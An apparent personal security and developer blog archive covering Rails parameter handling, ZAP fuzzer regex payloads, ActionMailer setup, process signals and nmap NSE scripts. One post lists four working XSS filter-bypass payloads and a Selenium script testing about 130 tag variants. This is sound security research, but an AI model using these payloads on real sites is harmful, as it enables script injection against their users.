5/31/2019

Rails에서 Routing parameters(:action, :controller)와 동일한 이름의 파라미터 처리하기

Rails에서 파라미터 값은 params를 통해 받아옵니다. 이 과정 중 레일즈에서 기본으로 설정한 값이 있어 읽어오지 못하는 경우가 있습니다. 이런 케이스였죠.

Request
GET /testzzz HTTP/1.1
..blahblah...

{"supersecretdata":"no","action":{"params":"data","abcd":"efg"}}

일 때 action의 하위 값들을 꺼내고 싶었으나 params로 action을 찍어보면..

p params[:action]
=>
create

뜬급없이 create만 찍혀있습니다.

이유는 단순합니다. 제가 사용한 action이라는 파라미터가 rails 자체에서 사용하는 값(Routing Parameters)이라 앱에서 처리될 때 실제로 받은 값이 들어가는게 아닌 레일즈에서 정의한 값으로 세팅되어 넘어와서 그렇습니다.

공식 문서에도 라우팅 파라미터로 소개되어 있네요.
(https://edgeguides.rubyonrails.org/action_controller_overview.html)

4.3 Routing Parameters
The params hash will always contain the :controller and :action keys, but you should use the methods controller_name and action_name instead to access these values. Any other parameters defined by the routing, such as :id, will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the :status parameter in a "pretty" URL:

get '/clients/:status', to: 'clients#index', foo: 'bar'
In this case, when a user opens the URL /clients/active, params[:status] will be set to "active". When this route is used, params[:foo] will also be set to "bar", as if it were passed in the query string. Your controller will also receive params[:action] as "index" and params[:controller] as "clients".

대표적인게 aciton, controller 같은 값들이죠. 보통 이런 값으로 파라미터 이름을 주지 말라곤 하지만, 떄에 따라서 어쩔 수 없이 사용해야할 경우가 있습니다. (클라이언트쪽 수정할 수가 없을 때)

How to solved?

저녁먹고 고민하다가 혹시나해서 rails의 request(rack) 객체를 하나씩 다 살펴보다 보니 RAW_POST_DATA 에 대해 찾게 되었습니다.

여기에 실제 요청의 값들이 모두 들어가는데, 이 값만 밖으로 꺼낸다면 action이나 controller의 이름으로 값을 받고 처리할 수 있게 됩니다.

한참 구글링하다보니 아주 다행히도… rails에서 미리 고려되어 메소드로 분리시켜 놓았네요.

p request.raw_post
=>
{\"intent\":{\"id\":\"h9zks0yo5yr~~~blahblah~~,\"action\":{\"data\":\"user_data\"}

그럼 결국 raw_post의 데이터를 꺼내서(저의 경우 rails api로 json 포맷) 파싱해서 사용한다면 action 이라는 이름의 값을 받을 수 있겠네요.

p params[:action]
# 1: create

action_data = JSON.parse(request.raw_post)[:action]
p action_data
# 2: user_input_data!


잘 됩니다!!

Yeah!  https://media.giphy.com/media/yoJC2GnSClbPOkV0eA/giphy.gif

Share: | Coffee Me:

5/28/2019

How to web fuzzing with regex pattern on ZAP(Zed Attack Proxy) Fuzzer

ZAP Fuzzer is a very useful tool for reply attack, brute force, and multiple entropy calculations. Personally, I think it’s better than the burp suite intruder (it’s more flexible).

Can use Regex to make and test payload lists in ZAP Fuzzer. I’d like to talk about that today. Let’s start!


Regex on ZAP Fuzzer?

First of all, zap fuzzer is to support various payload pattern. File, file fuzzer, number, (dirbuster, jbrofuzz), scripts(script zap)

frankly, just easy, except scripts know how to use a simple.
Regex payload, you can make a payload list to regular expression.

I think it’s easy to make a payload list even if you know two things below. Of course, if you know regular expression well, you can create a variety of payloads. It’s good to study the regular expression well.

[ ] => Character(int) Range
{ } => Number of outputs
e.g
[a-f]{4}

=> a four-letter pattern of a-f
[a-f]{2}[1-9]{5}

=> a-f pattern 2 characters + 1-9 pattern 5 characters
=> result
aa11111 
aa11112 
aa11113 
aa11114 
aa11115

Regex case

Regex: [0-9]
Result
0
1
2
3
4
5
6
7
8
9
Regex: [0-9]{2}
Result
00
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
Regex: [a-z]{2}
Result
aa
ab
ac
ad
ae
af
ag
ah
ai
md5
Regex: [a-f0-9]{32}
Result
0000000000000000000000000000004a
0000000000000000000000000000004b
0000000000000000000000000000004c
0000000000000000000000000000004d
0000000000000000000000000000004e
0000000000000000000000000000004f
00000000000000000000000000000050
00000000000000000000000000000051
00000000000000000000000000000052
Regex: [a-z]{4}[HI][1-4]
Result
aaaaH1
aaaaH2
aaaaH3
aaaaH4
aaaaI1
aaaaI2
aaaaI3
aaaaI4
aaabH1
aaabH2
aaabH3
aaabH4
aaabI1
aaabI2
Regex: [0-f]{12}
Result
789273f16e67f3d6
789273f16e67f3d7
789273f16e67f3d8
...

Creates a payload that matches the pattern, increasing the value. And if you think about it, there’s one fatal disadvantage.

There is no specific way to random values. (The regular expression for Random is also a problem, but ZAP itself generates sequentially……)


Random???

I needed to use a random value, but it wasn’t available in the end, so we added a payload by writing it as a Ruby.

arr = [0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f']

rand(16)
d = ""


for i in 0..1000
  r = ""
  for j in 0..15
    r = r + arr[rand(16)].to_s
  end
  p r
  d = d+r+"\n"
end


f = open('out.txt','w')
f.write d
fuzzer > file > select 'out.txt'
Share: | Coffee Me:

5/27/2019

ZAP(Zed Attack Proxy)에서 정규표현식을 이용하여 웹 퍼징하기

ZAP의 Fuzzer는 reply attack, brute force 및 여러 엔트로피 계산에 있어 굉장히 유용한 도구입니다. 개인적으로는 Burp suite의 intruder보다 더 좋다고 생각되네요(좀 더 유연하다랄까요)

ZAP Fuzzer에서 Regex을 이용해서 페이로드 리스트를 만들고 테스트할 수 있는데, 오늘은 그 이야기를 좀 해볼까 합니다. 시작하죠.


Regex on ZAP Fuzzer?

우선 ZAP Fuzzer는 여러가지 페이로드 패턴을 지원합니다. File, FileFuzzer(dirbuster, jbrofuzz), Nubmer, Scripts(ZAP 스크립트) 등이 있고 솔직히 Scripts 제외하곤 정말 딱 보면 알만한 단순한 사용법입니다..

진짜 별거 없음..

이중에선 Regex(Experimental)이 있는데, 정규표현식 룰로 페이로드 리스트를 만들 수 있습니다.
아래 4개 정도만 알아두면 간단한 페이로드 생성은 쉽습니다. 정규식에 따라서 되게 다양한 형태의 페이로드를 만들어낼 수 있죠.

Regex => 정규표현식
Max, Payloads => 최대 페이로드 갯수
[ ] => 문자 범위
{ } => 출력 갯수
e.g
[a-f]{4}

=> a-f로 이루어진 4글자 패턴
[a-f]{2}[1-9]{5}

=> a-f 패턴 2글자 + 1-9 패턴 5글자
=> 결과
aa11111 
aa11112 
aa11113 
aa11114 
aa11115

Regex case

Regex: [0-9]
Result
0
1
2
3
4
5
6
7
8
9
Regex: [0-9]{2}
Result
00
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
Regex: [a-z]{2}
Result
aa
ab
ac
ad
ae
af
ag
ah
ai
md5
Regex: [a-f0-9]{32}
Result
0000000000000000000000000000004a
0000000000000000000000000000004b
0000000000000000000000000000004c
0000000000000000000000000000004d
0000000000000000000000000000004e
0000000000000000000000000000004f
00000000000000000000000000000050
00000000000000000000000000000051
00000000000000000000000000000052
Regex: [a-z]{4}[HI][1-4]
Result
aaaaH1
aaaaH2
aaaaH3
aaaaH4
aaaaI1
aaaaI2
aaaaI3
aaaaI4
aaabH1
aaabH2
aaabH3
aaabH4
aaabI1
aaabI2
Regex: [0-f]{12}
Result
789273f16e67f3d6
789273f16e67f3d7
789273f16e67f3d8
...

해당 패턴에 맞는 페이로드를 값을 증가시켜가며 생성합니다. 그러고보면.. 하나 치명적인 단점이 있으니..
랜덤에 대해 딱히 방도가 없습니다. (랜덤에 대한 정규식도 문제지만 ZAP 자체가 순차 생성을 해버려서리..)


Random???

랜덤한 값 사용이 필요했는데, 결국은 그냥 루비로 짜서 파일로 추가했습니다.
arr = [0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f']

rand(16)
d = ""


for i in 0..1000
  r = ""
  for j in 0..15
    r = r + arr[rand(16)].to_s
  end
  p r
  d = d+r+"\n"
end


f = open('out.txt','w')
f.write d

out.txt 파일을 fuzzer > file > select! 해주시면 됩니다.
Share: | Coffee Me:

Four XSS Payloads - Bypass the tag base protection

Hey, guys.

I wrote about xmp xss last April. At that time, there was a story about writing in English and finish test all vector , so I wrote a story about the attack vector.

https://www.hahwul.com/2019/04/bypass-xss-protection-with-xmp-noscript-etc....html

From the bottom line, XSS only had four tags: xmp, noscript, iframe, norame.
The result was like this. I’ll share the test code and Payload.


XSS Vector (final)

with xmp tag
<xmp><p title="</xmp><svg/onload=alert(45)>">

with noscript tag
<noscript><p title="</noscript><svg/onload=alert(45)>">

with noframes tag
<noframes><p title="</noframes><svg/onload=alert(45)>">

with iframe tag
<iframe><p title="</iframe><svg/onload=alert(45)>">

Tested all Vector

test.rb
require 'selenium-webdriver'

arr = [
    '<area><p title="</area><svg/onload=document.title=(`area`)>">',
    '<article><p title="</article><svg/onload=document.title=(`article`)>">',
    '<aside><p title="</aside><svg/onload=document.title=(`aside`)>">',
    '<audio><p title="</audio><svg/onload=document.title=(`audio`)>">',
    '<b><p title="</b><svg/onload=document.title=(`b`)>">',
    '<base><p title="</base><svg/onload=document.title=(`base`)>">',
    '<basefont><p title="</basefont><svg/onload=document.title=(`basefont`)>">',
    '<bdi><p title="</bdi><svg/onload=document.title=(`bdi`)>">',
    '<bdo><p title="</bdo><svg/onload=document.title=(`bdo`)>">',
    '<bgsound><p title="</bgsound><svg/onload=document.title=(`bgsound`)>">',
    '<big><p title="</big><svg/onload=document.title=(`big`)>">',
    '<blink><p title="</blink><svg/onload=document.title=(`blink`)>">',
    '<blockquote><p title="</blockquote><svg/onload=document.title=(`blockquote`)>">',
    '<body><p title="</body><svg/onload=document.title=(`body`)>">',
    '<p title="</br><svg/onload=document.title=(`br`)>">',
    '<button><p title="</button><svg/onload=document.title=(`button`)>">',
    '<canvas><p title="</canvas><svg/onload=document.title=(`canvas`)>">',
    '<caption><p title="</caption><svg/onload=document.title=(`caption`)>">',
    '<center><p title="</center><svg/onload=document.title=(`center`)>">',
    '<cite><p title="</cite><svg/onload=document.title=(`cite`)>">',
    '<code><p title="</code><svg/onload=document.title=(`code`)>">',
    '<col><p title="</col><svg/onload=document.title=(`col`)>">',
    '<colgroup><p title="</colgroup><svg/onload=document.title=(`colgroup`)>">',
    '<content><p title="</content><svg/onload=document.title=(`content`)>">',
    '<data><p title="</data><svg/onload=document.title=(`data`)>">',
    '<datalist><p title="</datalist><svg/onload=document.title=(`datalist`)>">',
    '<dd><p title="</dd><svg/onload=document.title=(`dd`)>">',
    '<del><p title="</del><svg/onload=document.title=(`del`)>">',
    '<details><p title="</details><svg/onload=document.title=(`details`)>">',
    '<dfn><p title="</dfn><svg/onload=document.title=(`dfn`)>">',
    '<dialog><p title="</dialog><svg/onload=document.title=(`dialog`)>">',
    '<dir><p title="</dir><svg/onload=document.title=(`dir`)>">',
    '<div><p title="</div><svg/onload=document.title=(`div`)>">',
    '<dl><p title="</dl><svg/onload=document.title=(`dl`)>">',
    '<dt><p title="</dt><svg/onload=document.title=(`dt`)>">',
    '<em><p title="</em><svg/onload=document.title=(`em`)>">',
    '<embed><p title="</embed><svg/onload=document.title=(`embed`)>">',
    '<fieldset><p title="</fieldset><svg/onload=document.title=(`fieldset`)>">',
    '<figcaption><p title="</figcaption><svg/onload=document.title=(`figcaption`)>">',
    '<figure><p title="</figure><svg/onload=document.title=(`figure`)>">',
    '<font><p title="</font><svg/onload=document.title=(`font`)>">',
    '<footer><p title="</footer><svg/onload=document.title=(`footer`)>">',
    '<form><p title="</form><svg/onload=document.title=(`form`)>">',
    '<frame><p title="</frame><svg/onload=document.title=(`frame`)>">',
    '<frameset><p title="</frameset><svg/onload=document.title=(`frameset`)>">',
    '<h1><p title="</h1><svg/onload=document.title=(`h1`)>">',
    '<h2><p title="</h2><svg/onload=document.title=(`h2`)>">',
    '<h3><p title="</h3><svg/onload=document.title=(`h3`)>">',
    '<h4><p title="</h4><svg/onload=document.title=(`h4`)>">',
    '<h5><p title="</h5><svg/onload=document.title=(`h5`)>">',
    '<h6><p title="</h6><svg/onload=document.title=(`h6`)>">',
    '<head><p title="</head><svg/onload=document.title=(`head`)>">',
    '<header><p title="</header><svg/onload=document.title=(`header`)>">',
    '<hgroup><p title="</hgroup><svg/onload=document.title=(`hgroup`)>">',
    '<hr><p title="</hr><svg/onload=document.title=(`hr`)>">',
    '<html><p title="</html><svg/onload=document.title=(`html`)>">',
    '<i><p title="</i><svg/onload=document.title=(`i`)>">',
    '<iframe><p title="</iframe><svg/onload=document.title=(`iframe`)>">',
        '<img><p title="</img><svg/onload=document.title=(`img`)>">',
        '<input><p title="</input><svg/onload=document.title=(`input`)>">',
        '<ins><p title="</ins><svg/onload=document.title=(`ins`)>">',
    '<isindex><p title="</isindex><svg/onload=document.title=(`isindex`)>">',
        '<kbd><p title="</kbd><svg/onload=document.title=(`kbd`)>">',
        '<keygen><p title="</keygen><svg/onload=document.title=(`keygen`)>">',
        '<label><p title="</label><svg/onload=document.title=(`label`)>">',
        '<legend><p title="</legend><svg/onload=document.title=(`legend`)>">',
        '<li><p title="</li><svg/onload=document.title=(`li`)>">',
        '<link><p title="</link><svg/onload=document.title=(`link`)>">',
        '<listing><p title="</listing><svg/onload=document.title=(`listing`)>">',
        '<main><p title="</main><svg/onload=document.title=(`main`)>">',
        '<map><p title="</map><svg/onload=document.title=(`map`)>">',
        '<mark><p title="</mark><svg/onload=document.title=(`mark`)>">',
        '<marquee><p title="</marquee><svg/onload=document.title=(`marquee`)>">',
        '<menu><p title="</menu><svg/onload=document.title=(`menu`)>">',
        '<menuitem><p title="</menuitem><svg/onload=document.title=(`menuitem`)>">',
        '<meta><p title="</meta><svg/onload=document.title=(`meta`)>">',
        '<meter><p title="</meter><svg/onload=document.title=(`meter`)>">',
        '<nav><p title="</nav><svg/onload=document.title=(`nav`)>">',
        '<nobr><p title="</nobr><svg/onload=document.title=(`nobr`)>">',
        '<noframes><p title="</noframes><svg/onload=document.title=(`noframes`)>">',
        '<noscript><p title="</noscript><svg/onload=document.title=(`noscript`)>">',
        '<object><p title="</object><svg/onload=document.title=(`object`)>">',
        '<ol><p title="</ol><svg/onload=document.title=(`ol`)>">',
        '<optgroup><p title="</optgroup><svg/onload=document.title=(`optgroup`)>">',
        '<option><p title="</option><svg/onload=document.title=(`option`)>">',
        '<output><p title="</output><svg/onload=document.title=(`output`)>">',
    '<p><p title="</p><svg/onload=document.title=(`p`)>">',
        '<param><p title="</param><svg/onload=document.title=(`param`)>">',
        '<picture><p title="</picture><svg/onload=document.title=(`picture`)>">',
        '<plaintext><p title="</plaintext><svg/onload=document.title=(`plaintext`)>">',
        '<pre><p title="</pre><svg/onload=document.title=(`pre`)>">',
        '<progress><p title="</progress><svg/onload=document.title=(`progress`)>">',
        '<q><p title="</q><svg/onload=document.title=(`q`)>">',
        '<rp><p title="</rp><svg/onload=document.title=(`rp`)>">',
        '<rt><p title="</rt><svg/onload=document.title=(`rt`)>">',
        '<rtc><p title="</rtc><svg/onload=document.title=(`rtc`)>">',
        '<ruby><p title="</ruby><svg/onload=document.title=(`ruby`)>">',
        '<s><p title="</s><svg/onload=document.title=(`s`)>">',
        '<samp><p title="</samp><svg/onload=document.title=(`samp`)>">',
        '<section><p title="</section><svg/onload=document.title=(`section`)>">',
        '<select><p title="</select><svg/onload=document.title=(`select`)>">',
        '<shadow><p title="</shadow><svg/onload=document.title=(`shadow`)>">',
        '<slot><p title="</slot><svg/onload=document.title=(`slot`)>">',
        '<small><p title="</small><svg/onload=document.title=(`small`)>">',
        '<source><p title="</source><svg/onload=document.title=(`source`)>">',
        '<spacer><p title="</spacer><svg/onload=document.title=(`spacer`)>">',
        '<span><p title="</span><svg/onload=document.title=(`span`)>">',
        '<strike><p title="</strike><svg/onload=document.title=(`strike`)>">',
        '<strong><p title="</strong><svg/onload=document.title=(`strong`)>">',
        '<style><p title="</style><svg/onload=document.title=(`style`)>">',
        '<sub><p title="</sub><svg/onload=document.title=(`sub`)>">',
        '<summary><p title="</summary><svg/onload=document.title=(`summary`)>">',
        '<sup><p title="</sup><svg/onload=document.title=(`sup`)>">',
        '<table><p title="</table><svg/onload=document.title=(`table`)>">',
        '<tbody><p title="</tbody><svg/onload=document.title=(`tbody`)>">',
        '<td><p title="</td><svg/onload=document.title=(`td`)>">',
        '<template><p title="</template><svg/onload=document.title=(`template`)>">',
        '<textarea><p title="</textarea><svg/onload=document.title=(`textarea`)>">',
        '<tfoot><p title="</tfoot><svg/onload=document.title=(`tfoot`)>">',
        '<th><p title="</th><svg/onload=document.title=(`th`)>">',
        '<thead><p title="</thead><svg/onload=document.title=(`thead`)>">',
        '<time><p title="</time><svg/onload=document.title=(`time`)>">',
        '<title><p title="</title><svg/onload=document.title=(`title`)>">',
        '<tr><p title="</tr><svg/onload=document.title=(`tr`)>">',
        '<track><p title="</track><svg/onload=document.title=(`track`)>">',
        '<tt><p title="</tt><svg/onload=document.title=(`tt`)>">',
        '<u><p title="</u><svg/onload=document.title=(`u`)>">',
        '<ul><p title="</ul><svg/onload=document.title=(`ul`)>">',
        '<var><p title="</var><svg/onload=document.title=(`var`)>">',
        '<video><p title="</video><svg/onload=document.title=(`video`)>">',
        '<wbr><p title="</wbr><svg/onload=document.title=(`wbr`)>">',
        '<xmp><p title="</xmp><svg/onload=document.title=(`xmp`)>">'
        ]

options = Selenium::WebDriver::Firefox::Options.new
options.add_argument('--headless')
driver = Selenium::WebDriver.for :firefox, options: options

#driver.navigate.to "https://www.hahwul.com"
#p driver.title

arr.each do |node|
# driver.navigate.to "data://<script></script>"
  f = open('./payload.html','r+')
  f.write "<html>#{node}</html>"
  driver.navigate.to "file:///#{`pwd`}/payload.html"
  #p "Tested :: "+node
  if driver.title.to_s.length > 4
    #p "Found! "+node
    p driver.title
  end
end

Output
$ ruby test.rb
"iframe"
"noframes"
"noscript"
"xmp"
Share: | Coffee Me:

5/25/2019

How to resolve duplicate mail transmission in Rails ActionMailer(중복 메일 전송 해결 방법)

Rails에서 ActionMailer를 이용하면 쉽게 메일 송/수신 로직을 처리할 수 있습니다.
그래서 ActionMailer로 여러가지 구성해서 사용하고 있는데, 특정 어플리케이션에서 메일이 중복으로 발송되는 이슈가 있었는데요, 찾아보니 정확한 이유는 모르겠지만 자체적인 버그로 보입니다. (중복 콜이 일어나는 것 같은데…)



아무튼 결국 해결방법은 찾았습니다. Mailer에서 인자값으로 -i 옵션을 넘겨주는 방식으로 가능합니다.

enviornments/production.rb
config.action_mailer.smtp_settings = { 
  # ~blahblah
  # add arguments option
  :arguments => '-i',   
  enable_starttls_auto: true 
}


Share: | Coffee Me:

5/17/2019

Send Gmail using Rails ActionMailer Class (ActionMailer를 이용하여 Gmail 전송하기)

Rails는 기본적으로 Mail 송/수신이 가능한 객체를 가지고 있습니다. 보통 웹에서 많이 사용하는 기능이기 때문에 미리 구현되어 있는 상태인데요, 라이브러리 의존성이나 복잡한 설정 없이 간단한 코드로 메일 처리가 가능합니다.

오늘은 Rails의 기본 객체인 ActionMailer를 이용하여 Gmail의 메일 송신하는 방법에 대해 정리해둡니다.


Pre-setting(Gmail & Google Accounts)

ActionMailer 사용하기 전 지메일에서 미리 세팅이 필요합니다. 우선 메일 전송에 필요한 정보부터 미리 확인해봅시다.

Gmail 설정
https://support.google.com/mail/answer/7126229?hl=ko
수신 메일(IMAP) 서버: imap.gmail.com
SSL 필요: 예
포트: 993
발신 메일(SMTP) 서버: smtp.gmail.com
SSL 필요: 예
TLS 필요: 예(사용 가능한 경우)
인증 필요: 예
SSL용 포트: 465
TLS/STARTTLS용 포트: 587
이름 또는 표시 이름: 이름
계정 이름, 사용자 이름 또는 이메일 주소 : 전체 이메일 주소 
비밀번호: Gmail 비밀번호

공식적으로 제공되는 내용은 이렇고, 우린 TLS/STARTTLS를 사용할거라서 smtp.gmail.com:587로 통신해주시면 됩니다. 우선 알아만둡시다.

두번째는.. 계정 권한인데요. 메일 전송할 구글 계정 로그인 후 아래 링크 들어가셔서 권한 조정을 해주셔야합니다.
https://myaccount.google.com/u/2/lesssecureapps?pageId=none
(에서 On으로 바꿔야합니다)



왜냐하면.. 2014년에 구글에서 계정보안 강화 정책으로 비신뢰 앱에 대해서는 기능처리를 기본적으로 하지 못하도록 막아뒀습니다.

As of July 15, 2014, Google increased its security measures and now blocks attempts from apps it deems less secure. You can change your Gmail settings here to allow the attempts. If your Gmail account has 2-factor authentication enabled, then you will need to set an app password and use that instead of your regular password. Alternatively, you can use another ESP to send email by replacing 'smtp.gmail.com' above with the address of your provider.

아마 설정해두지 않은 상태에선 정상적으로 전송이 되지 않을거라 미리 해두시면 좋습니다. (제가 삽질한 케이스..)

Write code!

바로 코드로 들어가볼텐데요, 우선 각 phase 별로 설정 파일에 mailer 관련 정보를 넣어주셔야 합니다.

environment/production or developements
config.action_mailer.delivery_method = :smtp
config.action_mailer.smtp_settings = {
    address:              'smtp.gmail.com',
    port:                 587,
    domain:               'optons..',
    :user_name            => "gmail account",
    :password             => "gmail password",
    authentication:       'plain',
    enable_starttls_auto: true }
config.action_mailer.perform_deliveries = true

developements, production 모두 사용하실꺼면 둘다 해야합니다. 특별한건 없고 아까 이야기한대로 587포트에 smtp.gmail.com으로만 잘 넣어주시면 됩니다. 그리고 보통 계정명, 패스워드는 환경변수로 넣고 쓰거나 KMS 통해서 사용하시는게 더 안전할겁니다. (소스코드에 노출되면 좀 그렇잖아윰)

AppcationMailer
class ApplicationMailer < ActionMailer::Base
  layout 'mailer'
  def sendEmail(email, subject, contents)
    mail(to: email, subject: subject, body: contents, from: 'test@gmail.com', content_type: "text/html"
    )
  end
end

기본적으로 Rails앱을 생성하면 ApplicationMailer라는 객체가 생성됩니다. 이 객체는 ActionMailer에서 상속받은 객체로 메일 관련 메소드들을 사용할 수 있습니다. 단순하게 한두가지 케이스에 대해 메일 전송만 필요한거면 직접 ApplicationMailer에서 선언해주셔도 되지만 보통의 경우 ApplicationMailer를 상속받아서 새로 만드시는 경우가 많습니다. (내부 기능이 다른 여러 객체가 필요할 수 있으니..)

e.g
class ResetUserInfoMailer < ApplicationMailer
  def sendResetPassword
    #BlahBlah
    mail()
  end

  def sendResetId
    #BlahBlah
  end
end

여기서 잘 봐야할껀, mail() 함수입니다. 실제로 메일 전송을 위해 사용하는 메소드이며, ActionMailer에 정의되어 있습니다. :to , :subject , :body등 여러가지 인자값이 존재합니다. 자체한건 아래 주소 참고해주세요.

https://api.rubyonrails.org/v5.2.3/classes/ActionMailer/Base.html
Code
def sendPostWithEmail(addr,title,contents)
  message = ApplicationMailer.sendEmail('test@gmail.com','mailtest','contents').deliver_now
  p message
end

mail()를 사용한다고 메일이 바로 전송되는건 아닙니다. 언제 전송할지(?) 결정하는 메소드가 있는데 보통은 바로 전송하는 케이스가 많으니 .deliver_now로 메일이 전송될 수 있도록 해줍시다.

그럼… sendPostWithEmail()를 호추하면 정상적으로 메일이 전송됩니다!


Share: | Coffee Me:

5/15/2019

How to pause/resume process on MacOS and Linux(Mac/Linux에서의 프로세스 일시정지, 재 시작)


Summary

프로세스 일시정지(Pause process)
$ kill -STOP [pid]

프로세스 복구(Resume process)
$ kill -CONT [pid]

Step by Step

testcommand pid : 57103

일시정지(Pause)
ps -elf | grep top
    0 57103 33533     4106   0  31  0  4328884   7656 -      S+                  0 ttys002    0:01.03 testcommand              12:19AM
$ kill -STOP 57103
=>  + 57103 suspended (signal)  top


$ ps -elf | grep top
    0 57103 33533     4106   0  31  0  4340148   8644 -      T                   0 ttys002    0:04.24 testcommand              12:19AM

복구(Resume)
$ kill -CONT 57103

$ ps -elf | grep top
    0 57103 33533     4186   0  31  0  4340156   8652 -      S+                   0 ttys002    0:05.06 testcommand              12:19AM

kill SIGNAL List

 1) SIGHUP     
 2) SIGINT     
 3) SIGQUIT     
 4) SIGILL     
 5) SIGTRAP
 6) SIGABRT     
 7) SIGBUS     
 8) SIGFPE     
 9) SIGKILL    
 10) SIGUSR1
11) SIGSEGV    
12) SIGUSR2    
13) SIGPIPE    
14) SIGALRM    
15) SIGTERM
16) SIGSTKFLT    
17) SIGCHLD    
18) SIGCONT    
19) SIGSTOP    
20) SIGTSTP
21) SIGTTIN    
22) SIGTTOU    
23) SIGURG    
24) SIGXCPU    
25) SIGXFSZ
26) SIGVTALRM    
27) SIGPROF    
28) SIGWINCH    
29) SIGIO    
30) SIGPWR
31) SIGSYS    
34) SIGRTMIN    
35) SIGRTMIN+1    
36) SIGRTMIN+2    
37) SIGRTMIN+3
38) SIGRTMIN+4    
39) SIGRTMIN+5    
40) SIGRTMIN+6    
41) SIGRTMIN+7    
42) SIGRTMIN+8
43) SIGRTMIN+9    
44) SIGRTMIN+10    
45) SIGRTMIN+11    
46) SIGRTMIN+12    
47) SIGRTMIN+13
48) SIGRTMIN+14    
49) SIGRTMIN+15    
50) SIGRTMAX-14    
51) SIGRTMAX-13    
52) SIGRTMAX-12
53) SIGRTMAX-11    
54) SIGRTMAX-10    
55) SIGRTMAX-9    
56) SIGRTMAX-8    
57) SIGRTMAX-7
58) SIGRTMAX-6    
59) SIGRTMAX-5    
60) SIGRTMAX-4    
61) SIGRTMAX-3    
62) SIGRTMAX-2
63) SIGRTMAX-1    
64) SIGRTMAX
Share: | Coffee Me:

MacOS에서 맞춤법 자동 교정, 더블쿼테이션(따옴표) 변경되지 않도록 해제하기

MacOS에선 기본적으로 키보드 관련 여러 기능들이 활성화 되어 있습니다. 일반 사용자 입장에선 불편한게 없지만, 개발자나 보안 등등 일반적이지 않은 영문장을 자주 사용하고, 맞춤법들이 필요 없는 사람에겐 아주 거슬리고 불편한 기능들이죠. 

"설정  > 키보드 > 텍스트" 에서 해제가 가능합니다.



Share: | Coffee Me:

5/13/2019

침투테스트 약간 유용한 nmap NSE 스크립트 4가지

오늘은 nmap NSE 스크립트 4개에 대해 글 작성해봅니다. 음, 초안?은 좀 써놓은지 되었는데, 최근에 여러모로 신경쓸일이 많아서 이제서야 글 올리게되네요.

우선, 신박한 내용은 아니고 그냥 보편적으로 많이들 쓰시는 스크립트 4개정도 추려봤습니다. 혹시나 좋은 스크립트를 아신다면 댓글로 공유해주시면 정말 감사하겠습니다 :)

내 주말 오디?

dns-brute.nse

첫번째는 dns-brute.nse 입니다. 대체로 서브도메인 스캐닝 툴들이 워낙 잘 나와있어서 활용도가 엄청 높진 않으나, nmap 자체의 기능이랑 같이 사용할 수 있기 때문에 한번에 여러가지 작업을 하는데 있어서는 유용합니다.

스크립트 이름대로 bruteforce를 통해 대상 도메인의 하위 서브 도메인을 찾아줍니다.

$ nmap -p 80 --script dns-brute.nse hahwul.com
Starting Nmap 7.70 ( https://nmap.org )
Nmap scan report for hahwul.com (183.111.174.31)
Host is up (0.0088s latency).


PORT   STATE SERVICE
80/tcp open  http


Host script results:
| dns-brute:
|   DNS Brute-force hostnames:
|     test.hahwul.com - 127.0.0.1
|     www.hahwul.com - 172.217.161.179
|     www.hahwul.com - 2404:6800:4005:80f:0:0:0:2013
|_    *A: 183.111.174.31

http-enum & http-title

다음은 http-enum, http-title인데요, http* 계열의 스크립트들이 http 식별에 있어서는 굉장히 좋습니다만, 솔직히 시간이 좀 오래걸립니다. 그중에선 짧은데 결과가 잘 나온다고 생각되는 것들이 2개정도여서 이 2개로 선정해봤습니다.

$ nmap --script http-enum 127.0.0.1
Starting Nmap 7.70 ( https://nmap.org )
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00076s latency).
Not shown: 975 closed ports
PORT      STATE    SERVICE
32/tcp    filtered unknown
80/tcp    open     http
| http-enum:
|   /test/: Test page
|   /test.html: Test page
|   /robots.txt: Robots file
|_  /index/: Potentially interesting folder
801/tcp   filtered device
1037/tcp  filtered ams
1110/tcp  filtered nfsd-status
1122/tcp  filtered availant-mgr
1148/tcp  filtered elfiq-repl
1163/tcp  filtered sddp
1503/tcp  filtered imtc-mcs
1658/tcp  filtered sixnetudr
2170/tcp  filtered eyetv
3000/tcp  open     ppp
4005/tcp  filtered pxc-pin

Vulscan & vulners

3번째는 취약점 검색 스크립트입니다. 잘 알려진 취약점 DB 사이트들에 쿼리를 날려서 관련 버전이나 서비스에 해당하는 취약점 정보를 받아와 표현해줍니다. vulscan쪽이 확실히 지원하는 사이트 대역이 크긴합니다.

실질적인 유효타를 찾는다는 느낌보단 보안적인 하드닝 미흡 구간을 찾는데 있어서 나름 쓸만하다고 생각되네요. 하나의 홀이라도 찾을 수 있으면 다행이니..

지원하는 사이트는 이렇습니다. 다만 맨 아래 vulners를 제외하곤 모두 vulscan에서 사용하는 사이트입니다.
$ nmap -sV --script=vulscan/vulscan.nse 127.0.0.1
Starting Nmap 7.70 ( https://nmap.org )
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0036s latency).
Not shown: 501 filtered ports, 495 closed ports
PORT     STATE SERVICE              VERSION
80/tcp   open  http
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.0 200 OK
|     Last-Modified: Tue, 09 Apr 2019 08:09:37 GMT
|     Content-Type: text/html
|     Content-Length: 2193
…

5432/tcp open  postgresql           PostgreSQL DB 9.6.0 or later
| fingerprint-strings:
|   SMBProgNeg:
|     SFATAL
|     VFATAL
|     C0A000
|     Munsupported frontend protocol 65363.19778: server supports 2.0 to 3.0
|     Fpostmaster.c
|     L2015
|_    RProcessStartupPacket
| vulscan: VulDB - https://vuldb.com:
| No findings
|
| MITRE CVE - https://cve.mitre.org:
| No findings
|
| SecurityFocus - https://www.securityfocus.com/bid/:
| No findings
|
| IBM X-Force - https://exchange.xforce.ibmcloud.com:
| No findings
|
| Exploit-DB - https://www.exploit-db.com:
| No findings
|
| OpenVAS (Nessus) - http://www.openvas.org:
| No findings
|
| SecurityTracker - https://www.securitytracker.com:
| No findings
|
| OSVDB - http://www.osvdb.org:
| No findings
|_

Vulners
22/tcp  open    ssh     OpenSSH 4.3 (protocol 2.0)
| vulners:
|   cpe:/a:openbsd:openssh:4.3:
|       CVE-2006-5051           9.3             https://vulners.com/cve/CVE-2006-5051
